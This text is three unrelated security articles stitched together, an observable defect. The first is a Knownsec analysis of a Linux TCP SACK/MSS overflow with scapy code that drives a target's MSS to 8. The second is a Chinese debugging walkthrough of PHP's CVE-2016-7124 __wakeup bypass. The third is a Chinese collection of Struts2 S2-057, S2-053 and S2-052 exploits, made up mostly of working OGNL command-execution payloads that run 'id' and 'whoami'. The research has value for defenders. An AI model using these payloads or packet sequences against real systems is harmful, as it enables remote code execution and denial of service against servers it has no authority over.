tcp_set_skb_tso_segs:
tcp_skb_pcount_set(skb, DIV_ROUND_UP(skb->len, mss_now));
skb->len the largest value is 17 * 32 * 1024
mss_now minimum value is 8
>>> hex(17*32*1024//8)
'0x11000'
>>> hex(17*32*1024//9)
'0xf1c7'
Therefore, an integer overflow will occur only when mss_now is less than or
equal to 8.
Having conducted the following test, I met a problem.
Having set the MSS value to 48 via `iptables/iproute` command , the attack
machine uses curl to request the HTTP service of the Target machine, and then
the Host use wireshark to capture traffic. It is found that the HTTP packet
returned by the server is divided into small blocks, but it's only as small as
36, and my expected value is 8.
At this time, I chose to analyse and debug Linux Kernel source code to sort
out the reason why the MSS failed to reach my expected value, and what
happened during the process of setting the MSS value in the SYN packet to
mss_now in the code.
Backtrack the overflow function `tcp_set_skb_tso_segs`:
tcp_set_skb_tso_segs <- tcp_fragment <- tso_fragment <- tcp_write_xmit
Finally, it is found that the 'mss_now' passed to the 'tcp_write_xmit' function is calculated by the 'tcp_current_mss' function.
Analyse `tcp_current_mss` function and the key code is as follows:
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
tcp_mtu_to_mss:
/* Subtract TCP options size, not including SACKs */
return __tcp_mtu_to_mss(sk, pmtu) - (tcp_sk(sk)->tcp_header_len - sizeof(struct tcphdr));
__tcp_mtu_to_mss:
if (mss_now < 48)
mss_now = 48;
return mss_now;
Having read the part of the source code, we will have a deeper understanding
of the meaning of MSS. Firstly, we need know the TCP protocol.
The TCP protocol includes protocol headers and data. The protocol header
includes fixed-length 20-byte and 40-byte optional parameters. That is to say,
the TCP protocol header has a maximum length of 60 bytes and a minimum length
of 20 bytes.
The `mss_now` in the `__tcp_mtu_to_mss` function is the MSS set for SYN
package, from which we can see that the minimum MSS is 48. Through the
understanding of the TCP protocol as well as the code, we can know about the
MSS in the SYN packet. The minimum value of 48 bytes indicates that the TCP
header optional parameter has a maximum length of 40 bytes and the minimum
length of data is 8 bytes.
But `mss_now` in the source code represents the length of the data, then let's
look at the calculation formula of the value.
tcphdr struct：
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
This structure is a 20-byte TCP fixed protocol header.
The variable `tcp_sk(sk)->tcp_header_len` indicates the length of the TCP
packet header sent by the local machine.
Therefore, we can get the formula for calculating `mss_now`: the MSS value set
by the SYN packet - (The length of the TCP packet header sent by the local
machine - the fixed length of the TCP header is 20 bytes)
So, if the value of `tcp_header_len` can reach a maximum of 60, then `mss_now`
can be set to 8. So in the kernel code, is there any way to make
`tcp_header_len` reach the maximum length? Then we backtrack this variable:
# tcp_output.c
tcp_connect_init:
tp->tcp_header_len = sizeof(struct tcphdr);
if (sock_net(sk)->ipv4.sysctl_tcp_timestamps)
tp->tcp_header_len += TCPOLEN_TSTAMP_ALIGNED;
#ifdef CONFIG_TCP_MD5SIG
if (tp->af_specific->md5_lookup(sk, sk))
tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;
#endif
Therefore, in the Linux 4.15 kernel, the kernel does not send TCP packets with
a header size of 60 bytes without user intervention, which resulted in that
the MSS cannot be set to a minimum of 8, thus ultimately prevented the
vulnerability from being exploited.
# Summary
Let's summarize the whole process:
1. Attacker constructs a SYN packet, and the optional TCP header optional parameter has a value of 48 for the MSS.
2. After the Target(vulnerable devices) receives the SYN request, it saves the data in the SYN packet in the memory and returns to the 'SYN" and the "ACK' packets.
3. Attacker returns an ACK packet.
Complete the 3-way handshake process.
Then according to different services, the target actively sends data to the
attacker or sends the data to the attacker after receiving the attacker
request. Here, it is assumed to be an Nginx HTTP service.
~~1\. The attacker sends a request to the target:`GET / HTTP/1.1`.~~
~~2\. After receiving the request, the target firstly calculates
tcp_header_len, which is equal to 20 bytes by default. When the kernel
parameters sysctl_tcp_timestamps is enabled, 12 bytes are added. If you
selected CONFIG_TCP_MD5SIG when compiling the kernel, another 18 bytes will be
added, which means that the maximum length of tcp_header_len is 50 bytes.~~
~~3\. Then you will calculate mss_now = 48 - 50 + 20 = 18~~
~~It is assumed that the vulnerability might be exploited successfully under
such circumstances: there is a TCP service that sets the TCP optional
parameters to the full 40 bytes, then it is possible for an attacker to
perform a Dos attack on the service by constructing the MSS value in the SYN
packet.~~
~~I audited the Linux kernel from 2.6.29 to the present version, and the
calculation formula of mss_now is the same. The length of tcp_header_len will
only add 12 bytes of the timestamp and 18 bytes of the md5 value.~~
\----- 2019/07/03 UPDATE -----
Thanks for @riatre to correct me. I found that the above analysis of the
tcp_current_mss function had missed an important piece of code:
# tcp_output.c
tcp_current_mss -> tcp_sync_mss:
mss_now = tcp_mtu_to_mss(sk, pmtu);
header_len = tcp_established_options(sk, NULL, &opts, &md5) +
sizeof(struct tcphdr);
if (header_len != tp->tcp_header_len) {
int delta = (int) header_len - tp->tcp_header_len;
mss_now -= delta;
}
In the code of the `tcp_established_options` function, apart from the 12-byte
timestamp and the 20-byte md5, there is still the calculation of the SACK
length. If the length does not exceed the 40-byte limit of the tcp option, the
formula is: `Size = 4 + 8 * opts->num_sack_blocks`.
eff_sacks = tp->rx_opt.num_sacks + tp->rx_opt.dsack;
if (unlikely(eff_sacks)) {
const unsigned int remaining = MAX_TCP_OPTION_SPACE - size;
opts->num_sack_blocks =
min_t(unsigned int, eff_sacks,
(remaining - TCPOLEN_SACK_BASE_ALIGNED) /
TCPOLEN_SACK_PERBLOCK);
size += TCPOLEN_SACK_BASE_ALIGNED +
opts->num_sack_blocks * TCPOLEN_SACK_PERBLOCK;
}
So the method of getting 40 bytes tcp options is: `12-byte timestamp + 8 * 3
(opts->num_sack_blocks)`.
The variable `opts->num_sack_blocks` indicates the number of packets lost from
the peer.
So here the process of the last three steps in the summary are modified as
follows:
The attacker sends a normal HTTP request to the drone.
After receiving the request, the target will send a HTTP response packet. As
shown in the screenshot above, the response packet will be divided into
multiple segments according to the length of 36 bytes.
The attacker constructs a serial queue with a missing ACK packet (the ACK
packet needs to carry some data).
After receiving the unordered ACK packet, the server finds that packet loss
has occurred. Therefore, in the subsequent data packet, the SACK option is
brought to tell the client that those packets are lost until the TCP link is
disconnected or a packet receives a response sequence.
Results are shown below:
Because the timestamp is counted, the TCP SACK option can only contain up to 3
sequence numbers, so you can set the MSS to 8 by sending 4 ACK packets.
Part of the scapy code is as follows:
data = "GET / HTTP/1.1\nHost: 192.168.11.112\r\n\r\n"
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1)
ACK.options = [("NOP",None), ("NOP",None), ('Timestamp', (1, 2))]
send(ip/ACK/data)
dl = len(data)
test = "a"*10
ACK.seq += dl + 20
ACK.ack = SYNACK.seq+73
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+181
send(ip/ACK/test)
ACK.seq += 30
ACK.ack = SYNACK.seq+253
send(ip/ACK/test)
Now having satisfied the premise of mss_now=8, I will conduct futher analysis
to the vulnerability.
# 参考
1. <https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md>
2. <https://paper.seebug.org/959/>
3. <https://paper.seebug.org/960/>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/RL8_kDoHcZoED1G_BBxlWw>**
### 前言
在学习PHP的过程中发现有些PHP特性的东西不好理解，如PHP中的00截断，MD5缺陷，反序列化绕过`__wakeup`等等。本人不想拘泥于表面现象的理解，想探究PHP内核到底是怎样做到的。
下面是将用CTF中常用的一个反序列化漏洞CVE-2016-7124(绕过魔法函数`__wakeup`)为例，将此次调试PHP内核的过程分享出来。包括从内核源码调试环境的搭建，序列化与反序列化内核源码分析到最后的漏洞分析整个部分。
### 一、 一个例子引发的思考
我们可以首先看本人写的小例子。
根据上图我们先介绍下PHP中的魔法函数：
我们先看下官方文档对几个常用魔法函数的介绍：
这里稍作总结，当一个类被初始化为实例时会调用`__construct`，当被销毁时会调用`__destruct`。
当一个类调用serialize进行序列化时会自动调用`__sleep`函数，当字符串要利用unserialize反序列化成一个类时会调用`__wakeup`函数。上述魔法函数如果存在都将会自动进行调用。不用自己手动进行显示调用。
现在我们来看最开始的代码部分，在`__destruct`函数中有写入文件的敏感操作。我们这里利用反序列化构造危险的字符串有可能会造成代码执行漏洞。
当我们构造好相应的字符串准备进行利用时，我们却发现它的`__wakeup`函数中有过滤操作，这就给我们的构造造成了阻碍。因为我们知道反序列化无论如何都是要先调用`__wakeup`函数的。
这里我们不禁想到了利用这个PHP反序列化漏洞CVE-2016-7124(绕过魔法函数`__wakeup`)，轻松绕过反序列化会自动调用的魔法函数`___wakeup`，把敏感操作写入进了文件。
当然，上面的代码只是我个人举得一个简单例子，真实情况中不乏有上述情况的出现。但是这种绕过方法却使我非常感兴趣。PHP的内部到底是如何操作和处理才会影响到上层代码逻辑出现如此神奇的情况（BUG）。接下来本人将对PHP内核进行动态调试分析。探究此问题。
此漏洞(CVE-2016-7124)受影响版本PHP5系列为5.6.25之前，7.x系列为7.0.10之前。所以我们后面会编译两个版本：一为不受此漏洞影响的版本7.3.0，另一个版本为漏洞存在的版本5.6.10。通过两个版本的对比来更详细的了解其差异。
### 二、PHP源码调试环境搭建
我们都知道PHP是由C语言开发，因本人所使用环境为WIN 10,所以主要介绍Windows下的环境搭建。我们需要如下材料：
* PHP源码。
* PHP SDK工具包，用于构建PHP
* 调试所需要IDE。
源码可在GITHUB上下载，链接：<https://github.com/php/php-src>，可以选择所需要的版本进行下载。
PHP SDK的工具包下载地址：[https://github.com/Microsoft/php-sdk-binary-tools
](https://github.com/Microsoft/php-sdk-binary-tools%20%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80%E6%89%80%E4%B8%8B%E8%BD%BD%E7%9A%84%E5%B7%A5%E5%85%B7%E5%8C%85%E5%8F%AA%E6%94%AF%E6%8C%81VC14)
这个地址所下载的工具包只支持VC14，VC15。当然你也可以从<https://windows.php.net/downloads/>
找到支持PHP低版本的VC11,VC12等，在使用PHP SDK之前必须保证你有安装对应版本Windows SDK组件的VS。
后文中会使用PHP7.3.0和5.6.10，下面会介绍这两个版本的源码编译，其他版本手法类似。
#### 2.1 编译Windows PHP 7.3.0
本机环境WIN10 X64，PHP SDK是在上述github链接上下载。进入SDK目录，发现4个批处理文件，这里双击phpsdk-vc15-x64。
接着在此shell中输入 phpsdk_buildtree php7，会发现同目录下出现了php7文件夹，并且shell目录也发生了变化。
接着我们把解压后的源码放在\php7\vc15\x64下，shell进入此文件夹内，利用phpsdk_deps –update –branch master
命令更新下载相关依赖组件。等待完成后，进入源码目录下双击buildconf.bat批处理文件，它会释放configure.bat和configure.js两个文件，在shell中运行configure
–disable-all –enable-cli –enable-debug –enable-phar 配置相应的编译选项，如还有别的需求，可执行
configure –help 查看
根据提示，直接使用nmake进行编译。
编译完成，可执行文件目录在`php7\vc15\x64\php-src\x64\Debug_TS`文件夹下。我们可输入php -v查看相关信息。
#### 2.2 编译Windows PHP 5.6.10
方法跟7.3.0 相同，只需注意的是PHP5.6使用Windows SDK组件版本为VC11，需要下载VS2012，并且不能使用github上下载的PHP
SDK进行编译，需要在<https://windows.php.net/downloads/> 上选择VC11 的PHP
SDK和相关依赖组件进行编译，其余和上述完全相同，这里不再重复。
#### 2.3 调试配置
因为我们上述已经编译好了PHP解释器，我们这里直接使用VSCODE来进行调试。
下载完成后安装C/C++调试扩展。
接着打开源码目录，点击调试—>打开配置，会打开launch.json文件。
根据上图，配置好这三个参数后，可在当前目录下1.php中写PHP代码，在PHP源码中下断点直接进行调试。
调试环境搭建完成。
### 三、PHP反序列化源码解析
一般提及PHP反序列化，往往就是serialize和unserialize两个成对出现的函数，当然必不可少的还有`__sleep()`和`__wakeup()`这两个魔术方法。众所周知，序列化简单点来说就是对象存文件，反序列化刚好相反，从文件中把对象读取出来并实例化。
下面，我们根据上面搭好的调试环境，通过动态调试的手法来直观的反应PHP（7.3.0版本）中序列化与反序列化到底干了哪些事情。
#### 3.1 serialize源码分析
我们先写个不含有`__sleep`魔法函数的简单Demo：
接着我们在源码中全局搜索serialize函数，定位此函数是在var.c文件中。我们直接在函数头下断点，并启动调试。
我们可见在做了一些准备工作后，开始进入序列化处理函数，我们跟进`php_var_serialize`函数。
我们这里继续跟进`php_var_serialize_intern`函数，下面就是主要处理函数了，因为函数代码比较多，我们这里只截出关键部分，此函数还在var.c文件中。
整个函数的结构是switch
case，通过宏`Z_TYPE_P`解析struc变体的类型(此宏展开为struc->u1.v.type)，来判断要序列化的类型，从而进入相应的CASE部分进行操作。下图为类型定义。
根据上图红框中的数字8，我们可知此时需要要序列化为一个对象`IS_OBJECT`，进入相应的CASE分支
我们在上图中看到了魔法函数`__sleep`的调用时机，因为我们写的Demo中并没有此函数，所以流程并不会进入此分支。不同的分支代表不同的处理流程，我们稍后再看带有魔法函数`__sleep`的流程。
因上面`case
IS_OBJECT`分支中没有流程命中，case中又没有break语句，继续执行进入`IS_ARRAY`分支，在这里从struc结构中提取出类名，计算其长度并赋值到buf结构中，并提取出类中要序列化的结构存入哈希数组中。
接下来就是利用`php_var_serialize_intern`函数递归解析整个哈希数组的过程，从中分别提取出变量名和值进行格式解析并将解析完成的字符串拼接到buf结构中。最后当整个过程结束后，整个字符串讲完全存进柔性数组结构buf中。
从上图红框中可看出跟最终结果是相吻合的。我们接下来稍微修改下Demo，添加魔法函数`__sleep`，根据官方文档中描述，`__sleep`函数必须返回一个数组。我们并在该函数中调用了一个类的成员函数。观察其具体行为。
前面流程完全相同，此处不再重复，我们从分支点开始看。
我们直接跟进`php_var_serialize_call_sleep`函数。
我们这里继续跟进`call_user_function`，根据宏定义，它实际上是调用了`_call_user_function_ex`函数，在这里做了一些拷贝动作，故不做截图，流程接下来进入`zend_call_function`函数的调用。
函数`zend_call_function`中，实际情况下，在`__sleep`中需要做一些我们自己的事情，这里PHP将要做的操作压入PHP自己的`zend_vm`引擎堆栈中，稍后会进行一条条解析(就是解析相应的OPCODE)。
这里流程会命中此分支，我们跟进`zend_execute_ex`函数。
我们这里可以看到在`ZEND_VM`中，整体体处理流程为while(1)循环，不断解析ZEND_VM栈中的操作。上图红框中ZEND_VM引擎会利用`ZEND_FASTCALL`方式派发到到相应的处理函数。
因为我们在`__sleep`中调用了成员函数show,这里首先定位出了show，接着会将接下来的操作继续压入`ZEND_VM`堆栈中进行下一轮新的解析(这里是处理show中的操作)，直到解析完整个操作为止。我们这里不再继续跟进。
还记得上面的传出参数retval么，也就是`__sleep`的返回值，上图为返回数组的第一个元素x，当然你也可以从变量中直接查看。
绕了这么大一圈，殊途同归，在处理完`_sleep`函数中的一系列操作之后，接下来用`php_var_serialize_class`函数来序列化类名，递归序列化其`_sleep`函数返回值中的结构。最终都把结果存在了buf结构中。至此序列化的整个流程完毕。
##### 3.1.1 SERIALIZE流程小结。
我们总结下序列化的流程 ：
当没有魔法函数时，序列化类名–>利用递归序列化剩下的结构
当存在魔法函数时，调用魔法函数`__sleep`–>利用ZEND_VM引擎解析PHP操作—>返回需要序列化结构的数组–>序列化类名–>利用递归序列化`__sleep`的返回值结构。
#### 3.2 unserialize源码分析
看完serialize的流程，接下来，我们还是从最简单的一个Demo来看unserialize流程。此例子不含魔法函数。
方法跟上面相同，unserialize源码也在var.c文件中。
上图中涉及到了PHP7中的新特性，带过滤的反序列化，根据`allowed_classes`的设置情况来过滤相应的PHP对象，防止非法数据注入。被过滤的对象会被转化成`__PHP_Incomplete_Class`对象不能被直接使用，但是这里对反序列化流程没有影响，这里不做详细探讨。我们跟进`php_var_unserialize`函数。
我们这里继续跟入`php_var_unserialize_internal`函数。
此函数内部主要操作流程为对字符串进行解析，然后跳转到相应的处理流程。上图中解析出第一个字母0，代表此次反序列化为一个对象。
这里首先会解析出对象名字，并进行查表操作确定此对象确实存在，我们继续向下看。
上述操作做完之后，我们这里根据对象名称new出了自己新的对象并进行了初始化，但是我们的反序列化操作还是没有完成，我们跟进`object_common2`函数。
在这里我们看到了对魔法函数的判断与检测，但是调用部分并不在此。我们继续跟进process_nested_data函数。
看来这个函数利用WHILE循环来嵌套解析剩余的部分了，·其中包含两个`php_var_unserialize_internal`函数，第一个会解析名称，第二个是解析名称所对应的值。`process_nested_data`函数运行完毕后，字符串解析完毕，反序列化操作主要内容已经完成，流程即将进入尾声了。
逐层返回至最初的函数PHP_FUNCTION中，我们看到就是一些扫尾工作了，释放申请的空间，反序列化完毕。这里并没有调用到我们的魔法函数`__wakeup`。为了找出`__wakeup`的调用时机，我们这里修改下Demo。
这里开始新的一轮调试。发现在序列化完成后，在`PHP_VAR_UNSERIALIZE_DESTROY`释放空间处出现了我们所希望看到的调用。
还记得反序列化流程中当发现有`__wakeup`时对其进行的`VAR_WAKEUP_FLAG`标志么，在这里当遍历`bar_dtor_hash`数组遇到这个标志时，正式开启对`__wakeup`调用，后期的调用手法和前面所介绍的`__sleep`调用手法完全相同，这里不再做重复说明。至此，反序列化所有流程完毕。
##### 3.2.1 UNSERIALIZE流程小结。
我们可以从上面可以看到，反序列化流程相对于序列化流程来说并没有因为是否出现魔法函数来对流程造成分歧。Unserialize流程如下：
获取反序列化字符串–>根据类型进行反序列化—>查表找到对应的反序列化类–>根据字符串判断元素个数–>new出新实例–>迭代解析化剩下的字符串–>判断是否具有魔法函数__wakeup并标记—>释放空间并判断是否具有具有标记—>开启调用。
### 四、 PHP反序列化漏洞
有了上面源码基础的铺垫，我们现在再来探究漏洞CVE-2016-7124(绕过`__wakeup`)魔法函数。因此漏洞对版本有一定要求，我们使用上面编译好的另一个PHP版本(5.6.10)来复现和调试此漏洞。
首先我们进行一下漏洞复现：
我们这里可以看到，TEST类中只包含一个元素$a，我们这里在反序列化时当修改元素字符串中代表元素个数的数值时，会触发此漏洞，该类避过了魔法函数`__wakeup`的调用。
当然在触发漏洞的过程中也发现了一个有趣的现象，触发手段并不只有这一种.
上图中4个payload所对应的反序列化操作都会触发此漏洞。虽然说下方这四个都会触发漏洞，但是其中还有一些微小的差别。这里我们稍微修改下代码：
我们根据上图可以看到，在反序列化的字符串中，只要在解析类中的元素出现错误时，都会触发此漏洞。但是更改类元素内部操作(如上图的修改字符串长度，类变量类型等)会导致类成员变量赋值失败。只有修改类成员的个数(比原有成员个数大)时，才能保证类成员赋值时成功的。
我们下面来通过调试来看问题所在：
根据第三部分我们对反序列化源码的分析，猜测可能是在最后解析变量那里出了问题。我们这里直接上调试器动态调试下：
我们可以看到，与7.3.0版本的源码对比，此版本没有过滤参数，且经过这么多版本的迭代，低版本的处理过程现在看来也相对简略。但是整体谐逻辑并没有改变，我们这里直接跟进`php_var_unserialize`函数，此后相同逻辑不再进行重复说明，我们直接跟到差异处(object_common2函数)也就是处理类中成员变量的代码
在函数`object_common2`中，存在两个主要操作，`process_nested_data`迭代解析类中的数据和魔法函数`__wakeup`的调用，且当`process_nested_data`函数解析失败后，直接返回0值，后面的`__wakeup`函数将没有调用的机会。
这里就解释了为何触发漏洞不止一种payload。
当只修改类成员的个数时，while循环可以完成的进行一次，这使得我们类中成员变量能被完整的赋值。当修改成员变量内部时，`pap_var_unserialize`函数调用失败，紧接着会调用`zval_dtor`
和`FREE_ZVAL`函数释放当前key(变量)空间，导致类中的变量赋值失败。
反观在PHP7.3.0版本中此处并没有出现调用过程，只是做了简单的标记，整个魔法函数的调用过程的时机移至释放数据处。这样就避免了这个绕过的问题。
此漏洞应该属于逻辑上的缺陷导致的。
* * * | 社区文章 |
# 前言
让抓struts2历史漏洞流量,之前没研究过,整好差缺补漏,就来复现一下,还把网上常用的工具的流量也给抓了,分析工具流量特征,比如
天融信的,Struts2-Scan,安恒的,K8的.也记录一下payload
[在Struts中利用OGNL的简短历史](https://xz.aliyun.com/t/3395)
[OGNL机制研究](https://xz.aliyun.com/t/225)
复现环境是 vulhub 和vulapps
大多都参考 师傅们给的复现环境的ReadMe
总结:感觉这次复现的有点迷糊,因为从来没研究过struts,但还是搞下来了,大致的原理明白了,但还差调试,我打算在分析payload的时候跟一下看一看.
调试了S2-016 和045了 写了报告
# 工具
我觉得最好用的就是HatBoy师傅写的这个
[Struts2-Scan](https://github.com/HatBoy/Struts2-Scan)
像天融信的工具 一直是cookie在第一行 还总是tdwefewwe
默认的cookie 可以修改
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
request header 一直是 Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
K8 就总是Accept 在第一行
没有COOKIE
安恒的工具 UA 一直是 User-Agent: Auto Spider 1.0 还总有一个x
根据个人喜好 选工具吧
# s2-057 CVE-2018-11776
影响版本:
> > > 小于等于 Struts 2.3.34 与 Struts 2.5.16
漏洞原因：
> > > 当Struts2的配置满足以下条件时：
>>>
>>> * alwaysSelectFullNamespace值为true
>>> * action元素未设置namespace属性，或使用了通配符
> namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。
>>>
>>>
>>> <http://127.0.0.1:8080/${1+1}/actionChain1.action>
> ===>
> <http://127.0.0.1:8080/2/register2.action>
## POC
**回显是url**
2.3.34版本 RCE :white_check_mark:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
urlencode===>
%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
2.3.34版本RCE payload :white_check_mark:
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}/actionChain1.action
urlencode==>
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
2.5.16版本 弹计算器 可能环境没配对 :x:
${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}/actionChain1.action
2.3.34版本弹计算器payload :x: 失败 2.5.16也失败
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("woami"))}/actionChain1.action
2.3.20版本弹计算器 没环境
${#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}/index.action
2.3.20版本RCE payload 没环境
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).(#w.close())}
工具 RCE payload :x:
%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23str%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())).(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()).(%23res.addHeader(%27cmd%27%2c%23str))%7d
# s2-053 CVE-2017-12611
影响版本
> Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞成因
>
> Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。
**回显页面输出**
RCE payload :white_check_mark:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
最后一个换行一定要带上
有GET，也有POST
# s2-052 CVE-2017-9805
影响版本
> Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞成因
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件，其根据Content-Type或URI扩展名来判断用户传入的数据包类型，有如下映射表：
扩展名 | Content-Type | 解析方法
---|---|---
xml | application/xml | xstream
json | application/json | jsonlib或jackson(可选)
xhtml | application/xhtml+xml | 无
无 | application/x-www-form-urlencoded | 无
无 | multipart/form-data | 无
jsonlib无法引入任意对象，而xstream在默认情况下是可以引入任意对象的（针对1.5.x以前的版本），方法就是直接通过xml的tag
name指定需要实例化的类名：
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以，我们可以通过反序列化引入任意类造成远程命令执行漏洞，只需要找到一个在Struts2库中适用的gedgetType。
